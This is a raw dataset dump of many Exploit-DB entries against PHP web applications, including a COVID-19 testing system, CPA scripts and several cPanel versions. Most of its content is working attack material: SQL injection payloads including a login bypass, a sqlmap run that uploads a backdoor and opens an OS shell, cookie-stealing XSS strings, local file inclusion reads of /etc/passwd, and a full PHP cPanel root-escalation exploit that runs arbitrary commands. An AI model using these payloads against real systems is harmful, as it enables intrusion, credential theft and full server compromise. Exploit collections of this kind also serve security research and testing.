deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50190
Description: COVID19 Testing Management System 1.0 - 'searchdata' SQL Injection
Type: webapps
Platform: php
Date: 2021-08-12
Author: Ashish Upsham

Exploit:
# Exploit Title: COVID19 Testing Management System 1.0 - 'searchdata' SQL Injection
# Google Dork: intitle: "COVID19 Testing Management System"
# Date: 09/08/2021
# Exploit Author: Ashish Upsham
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Version: v1.0
# Tested on: Windows

Description:

The COVID19 Testing Management System 1.0 application from PHPgurukul is vulnerable to
SQL injection via the 'searchdata' parameter on the patient-search-report.php page.

==================== 1. SQLi ====================

http://192.168.0.107:80/covid-tms/patient-search-report.php

The "searchdata" parameter is vulnerable to SQL injection, it was also tested, and a un-authenticated
user has the full ability to run system commands via --os-shell and fully compromise the system

POST parameter 'searchdata' is vulnerable.

step 1 : Navigate to the "Test Report >> Search Report" and enter any random value & capture the request in the proxy tool.
step 2 : Now copy the post request and save it as test.txt file.
step 3 : Run the sqlmap command "sqlmap -r test.txt -p searchdata --os-shell"

----------------------------------------------------------------------
Parameter: searchdata (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: searchdata=809262'+(select load_file('yhj3lhp8nhgr0sb7nf7ma0d0wr2hq6.burpcollaborator.net'))+'') AND (SELECT 4105 FROM (SELECT(SLEEP(5)))BzTl) AND ('Rxmr'='Rxmr&search=Search

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: searchdata=809262'+(select load_file('yhj3lhp8nhgr0sb7nf7ma0d0wr2hq6.burpcollaborator.net'))+'') UNION ALL SELECT NULL,NULL,CONCAT(0x716a767071,0x59514b[PII_REDACTED]6a[PII_REDACTED][PII_REDACTED]5a[PII_REDACTED]797a5a497a7043766e597a484e6867,0x[PII_REDACTED]),NULL,NULL,NULL,NULL-- -&search=Search

[19:14:14] [INFO] trying to upload the file stager on '/xampp/htdocs/' via UNION method
[19:14:14] [INFO] the remote file '/xampp/htdocs/tmpuptfn.php' is larger (714 B) than the local file '/tmp/sqlmap_tng5cao28/tmpaw4yplu2' (708B)
[19:14:14] [INFO] the file stager has been successfully uploaded on '/xampp/htdocs/' - http://192.168.0.107:80/tmpuptfn.php
[19:14:14] [INFO] the backdoor has been successfully uploaded on '/xampp/htdocs/' - http://192.168.0.107:80/tmpbmclp.php[19:14:14] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:  'laptop-ashish\ashish'
os-shell>
Exploit-DB #49993
Description: COVID19 Testing Management System 1.0 - 'State' Stored Cross-Site-Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-06-14
Author: BHAVESH KAUL

Exploit:
# Exploit Title: COVID19 Testing Management System 1.0 - 'State' Stored Cross-Site-Scripting (XSS)
# Date: 11/06/2021
# Exploit Author: BHAVESH KAUL
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Server: XAMPP

# Description #

COVID19 Testing Management System 1.0 is vulnerable to stored cross site scripting because of insufficient user supplied data sanitization. Anyone can submit a stored XSS payload without login when registering as a new user. This makes the application store our payload in the database and it is fired everything the dashboard is viewed.

# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/covid-tms/new-user-testing.php
2) Enter the following payload in 'State' parameter: <script>alert(1)</script>
3) Fill out other information and submit query
4) Now goto: http://localhost/covid-tms/live-test-updates.php
5) Stored XSS payload is fired

# Image PoC : Reference Image #

1) Vulnerable Parameter: https://ibb.co/1vyNM2w
2) Payload Fired: https://ibb.co/CsfPnXK
Exploit-DB #49886
Description: COVID19 Testing Management System 1.0 - SQL Injection (Auth Bypass)
Type: webapps
Platform: php
Date: 2021-05-19
Author: Rohit Burke

Exploit:
# Exploit Title: COVID19 Testing Management System 1.0 - SQL Injection (Auth Bypass)
# Date: 19/05/2021
# Exploit Author: Rohit Burke
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10

SQL Injection:
Injection flaws, such as SQL, NoSQL, and LDAP injection, occur when
untrusted data is sent to an interpreter as part of a command or query. The
attacker’s hostile data can trick the interpreter into executing unintended
commands or accessing data without proper authorization.

Attack vector:
An attacker can gain admin panel access using malicious sql injection queries.

Steps to reproduce:
1) Open admin login page using following URl:
"http://localhost/covid-tms/login.php"

2) Now put the payload below the Username and password field.
Payload: admin' or '1'='1 and you will be successfully logged In as Admin without any credentials.
Exploit-DB #30515
Description: coWiki - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-08-21
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/25393/info

coWiki is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/?cmd=srchdoc&q=[XSS]
Exploit-DB #43073
Description: CPA Lead Reward Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
<!--
# # # # # 
# Exploit Title: CPA Lead Reward Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.websitescripts.org/
# Software Link: http://www.websitescripts.org/website-scripts/cpa-lead-reward-script-incentive-script-/prod_68.html
# Demo: http://www.websitescripts.org/demo/cpaleadrewardscript/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15986
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# # # # #
-->
<form action="http://localhost/[PATH]/index.php" method="post">
<input type="text" name="username" value="' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x494853414e2053454e43414e202d ,(SELECT (ELT(4=4,1))),VERSiON(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'efe'='"/>
<input name="password" type="password" value="eFe"/>
<input type="Submit" name="login" value="Ver Ayari" />
</form>
Exploit-DB #11365
Description: CPA Site Solutions - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-02-09
Author: R3VAN_BASTARD

Exploit:
###########################################################################
#                |REMOTE FILE UPLOAD VULNERABILTY|                        #
#                     .:|cpasitesolutions|::.                             #
###########################################################################
AUTHOR	: R3VAN_BASTARD
SITE	: www.sux0r.net
PROVIDER: http://www.cpasitesolutions.com
DORK	: intext:Powered by CPA Site Solutions
###########################################################################
[x] EXPLOIT:
    /admin/editor_files/image.php?in_wp=1&return_function=&#12296;=en-us.php&folder=galleries/sm-icons/&instance_img_dir=&sort_by=name&sort_dir=asc&thumbnails=1

[x] You can find new directory by changing this URL:
    /admin/editor_files/image.php?in_wp=1&return_function=&#12296;=en-us.php&folder="galleries/sm-icons/" <=-change in this section.
    you will find new directory..

[X] NOTE: Edit your backdoor by adding GIF or JPG source, so you can get the shell.
###########################################################################
SALAM HANGAT:

VALENCIA | S3T4N | YOGA0400 | MADONK | KECEMPLUNG KALEN | VRS-HCK | JACK |
YUDIS TIRA | DECLINED | OON_BOY | LUQMAN | ANGKIRANGAN JUMIO+PAIJO | NOGE |
YADOY666 | ALL MAINHACK | SERVER IS DOWN | 
###########################################################################
Exploit-DB #27173
Description: CPAINT 1.3/2.0.2 - 'TYPE.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-08
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/16559/info

CPAINT is prone to a cross-site scripting vulnerability.

This issue affects the 'type.php' script and may facilitate the theft of cookie-based authentication credentials as well as other attacks.


CPAINT 2.0.2 and prior versions are affected.

http://www.example.com/examples/type/type.php?cpaint_response_type=%3Ciframe%20src=http://www.gulftech.org/%3E
Exploit-DB #38143
Description: cPanel - 'account' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-24
Author: Rafay Baloch

Exploit:
source: https://www.securityfocus.com/bid/57045/info

cPanel is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/frontend/x3/mail/manage.html?account=%22%3E%3Cimg%20src=x%20onerror=prompt%28/XSSBYRAFAY/%29;%3E
Exploit-DB #38154
Description: cPanel - 'detailbw.html' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-12-27
Author: Christy Philip Mathew

Exploit:
source: https://www.securityfocus.com/bid/57060/info
 
cPanel and WHM are prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
cPanel 11.34.0 and WHM 11.34.0 are vulnerable; other versions may also be affected. 

http://www.example.com/frontend/x3/stats/detailbw.html?mon=Dec&year=2006&domain=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&target=x3demob
Exploit-DB #38156
Description: cPanel - 'dir' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-26
Author: Rafay Baloch

Exploit:
source: https://www.securityfocus.com/bid/57064/info

cPanel is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/frontend/x3/files/dir.html?showhidden=1&dir=%3Cimg%20src=x%20onerror=prompt%280%29;%3E
Exploit-DB #28983
Description: cPanel 10 - 'newuser.html' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-11-13
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21027/info
 
cPanel is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
cPanel version 10 is vulnerable; other versions may also be affected.

http://www.example.com/frontend/htaccess/newuser.html?user=[XSS]&pass=&dir=A VALID FOLDER
http://www.example.com/frontend/htaccess/newuser.html?user=[XSS]&pass=&dir=[XSS]
Exploit-DB #28982
Description: cPanel 10 - 'seldir.html?dir' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-13
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21027/info

cPanel is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

cPanel version 10 is vulnerable; other versions may also be affected.

http://www.example.com/frontend/files/seldir.html?dir=[XSS]
Exploit-DB #29071
Description: cPanel 10 - DNSlook.HTML Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-17
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21142/info

Cpanel is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 10; other versions may also be vulnerable.

http://www.example.com/frontend/x/net/dnslook.html?dns=[XSS]
Exploit-DB #28107
Description: cPanel 10 - Select.HTML Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-26
Author: preth00nker

Exploit:
source: https://www.securityfocus.com/bid/18655/info

Cpanel is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 10; other versions may also be vulnerable.

[+] Exploit: http://[Target]:[Port]/[Dir]/x/files/select.html?dir=/&file= <h1><b>Your code here!!</b></h1> [+] Javascript: http://[Target]:2082/frontend/x/files/select.html?dir=/&file=<IMG src="javascript:alert('yeah');"> [+] Server Side Inclusion http://[Target]:2082/frontend/x/files/select.html?dir=/&file=<!--#echo var="HTTP_REFERER" --> [+] HTML http://[Target]:2082/frontend/x/files/select.html?dir=/&file=<IFRAME SRC="index.html">
Exploit-DB #27162
Description: cPanel 10.8.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-03
Author: Simo Ben Youssef

Exploit:
source: https://www.securityfocus.com/bid/16482/info

cPanel is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.


Successful exploitation may allow an attacker to gain unauthorized access to a cPanel user's account. 

http://www.example.com:2082/frontend/xcontroller/editquota.html?email=<script>alert('vul')</script>&domain=

http://www.example.com:2082/frontend/xcontroller/dodelpop.html?email=<script>alert('vul')</script>&domain=xxx

http://www.example.com:2082/frontend/xcontroller/diskusage.html?showtree=0"><script>alert('vul')</script>

http://www.example.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006&domain=xxx&target="><script>alert('vul')</script>

http://www.example.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006&domain=xxx"><script>alert('vul')</script>&target=xxx

http://www.example.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006"><script>alert('vul')</script>&domain=xxx&target=xxx

http://www.example.com:2095/webmailaging.cgi?numdays=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&ageaction=change
Exploit-DB #28113
Description: cPanel 10.8.1/10.8.2 - OnMouseover Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-27
Author: MexHackTeam.org

Exploit:
source: https://www.securityfocus.com/bid/18671/info

cPanel is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help attackers steal cookie-based authentication credentials and launch other attacks.

Successful exploitation may allow an attacker to gain unauthorized access to a cPanel user's account.

http://www.example.com:2082/frontend/x2/files/select.html?dir=/&file=Moved%20<a%20href='?'%20onMouseover='alert(document.cookie)'>Here%20<!--
Exploit-DB #2554
Description: cPanel 10.8.x - 'cpwrap' via MySQLAdmin Privilege Escalation
Type: webapps
Platform: php
Date: 2006-10-13
Author: Nima Salehi

Exploit:
<!- for use old cpanel exploit ( http://www.milw0rm.com/exploits/2466 ) you need have
<!- bash shell access on victim server but with this new exploit you only need
<!- to upload php file and run this into browser on victim servers.
<!- then you have root Access and you can do anything ....
<!- Coded by nima salehi ( nima@ashiyane.ir )
<!- Ashiyane Security Corporation www.Ashiyane.ir >
<title>cPanel <= 10.8.x cpwrap root exploit (PHP)</title>
<center><img border="2" src="http://www.ashiyane.ir/images/logo.jpg" width="429" height="97"><br><br>
<?

if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
echo "<br><br><br><br><br><b>Sorry Safe-mode Is On ( Script Not Work On This Server ) </b><br><br><br><br><br>";
echo "<br><br><br>Powered By Ashiyane Security Corporation <a href=\"http://www.ashiyane.ir\"> www.Ashiyane.ir";
exit();
}

$disablef = @ini_get("disable_functions");
if (!empty($disablef))
{
 $disablef = str_replace(" ","",$disablef);
 $disablef = explode(",",$disablef);
 if (in_array("passthru",$disablef))
 {
 echo "<br><br><br><br><br><b>Sorry Passthru Is Disable ( Script Not Work On This Server ) </b><br><br><br><br><br>";
 echo "<br><br><br>Powered By Ashiyane Security Corporation <a href=\"http://www.ashiyane.ir\"> www.Ashiyane.ir";
 exit();
 }
}

?>

<form method="POST" action="<?php echo $surl; ?>">
Command : <input type="text" name="c" size="40">
<input type="submit" value="  Run  " name="B1"></form>
<textarea cols="60" rows="20" readonly>
<?php
$cmd=$_POST['c'];
if ( $cmd != "" )
{
$f=fopen("/tmp/strict.pm", "w");
fputs($f,'system("'.$cmd.'");');
fclose($f);
passthru("PERL5LIB=/tmp /usr/local/cpanel/bin/mysqlwrap nima");
}
?>
</textarea>
<br>
Powered By  Ashiyane Security Corporation <a href="http://www.ashiyane.ir"> www.Ashiyane.ir
</center>

# milw0rm.com [2006-10-13]
Exploit-DB #28843
Description: cPanel 10.9 - 'dosetmytheme?theme' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-23
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/20683/info

cPanel is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

cPanel version 10.9.0 is vulnerable; other versions may also be affected.

http://www.example.com:2082/scripts/dosetmytheme?theme=[XssCodes]
Exploit-DB #28844
Description: cPanel 10.9 - 'editzonetemplate?template' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-23
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/20683/info
 
cPanel is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
cPanel version 10.9.0 is vulnerable; other versions may also be affected.

http://www.example.com:2082/scripts2/editzonetemplate?template=[XssCodes]
Exploit-DB #30380
Description: cPanel 10.9.1 - 'Resname' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-24
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/25047/info

cPanel is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

cPanel 10.9.1 is vulnerable to this issue. 

http://www.example.com/scripts/passwdmysql?password=[xss]&user=root&submit=Change+Password
Exploit-DB #3459
Description: cPanel 10.9.x - 'Fantastico' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-03-11
Author: cyb3rt & 020

Exploit:
##############################################################
Fantastico In all Version Cpanel 10.x <= local File Include

##############################################################to the
Note : Preparations php.ini in Cpanel  hypothetical and They also in
all WebServer

Must provide username  And pass  and login  :2082
To break the strongest protection   mod_security  & safe_mode:On  &
Disable functions :  All NONE



Vulnerable Code ( 1  ) :
 if(is_file($userlanguage))
   {
       include ( $userlanguage );

In

http://xx.com:2082/frontend/x/fantastico/includes/load_language.php



Exploit  1 :
http://xx.com:2082/frontend/x/fantastico/includes/load_language.php?userlanguage=/home/user/shell.php

id
uid=32170(user) gid=32170(user) groups=32170(user)

Exploit  2 :
http://xx.com:2082/frontend/x/fantastico/includes/load_language.php?userlanguage=/etc/passwd

###################################################
Vulnerable Code ( 2  ) :

$localmysqlconfig=$fantasticopath . "/includes/mysqlconfig.local.php";
if (is_file($localmysqlconfig))
       {
       include($localmysqlconfig);

in
http://xx.com:2082/frontend/x/fantastico/includes/mysqlconfig.php
And also many of the files of the program

Exploit :
First Create directory Let the name (/includes/)
and upload Shell.php  in (/includes/) Then  rename
mysqlconfig.local.php       D:

:::xploit::::
http://xx.com:2082/frontend/x/fantastico/includes/mysqlconfig.php?fantasticopath=/home/user/



###################################################


Discoverd By : cyb3rt & 020
###################################################

Special Greetings :_ Tryag-Team  &  4lKaSrGoLd3n-Team
###################################################

# milw0rm.com [2007-03-11]
Exploit-DB #28413
Description: cPanel 10.x - 'dohtaccess.html?dir' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-08-21
Author: preth00nker

Exploit:
source: https://www.securityfocus.com/bid/19624/info

cPanel is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/frontend/x/htaccess/dohtaccess.html?dir=[code]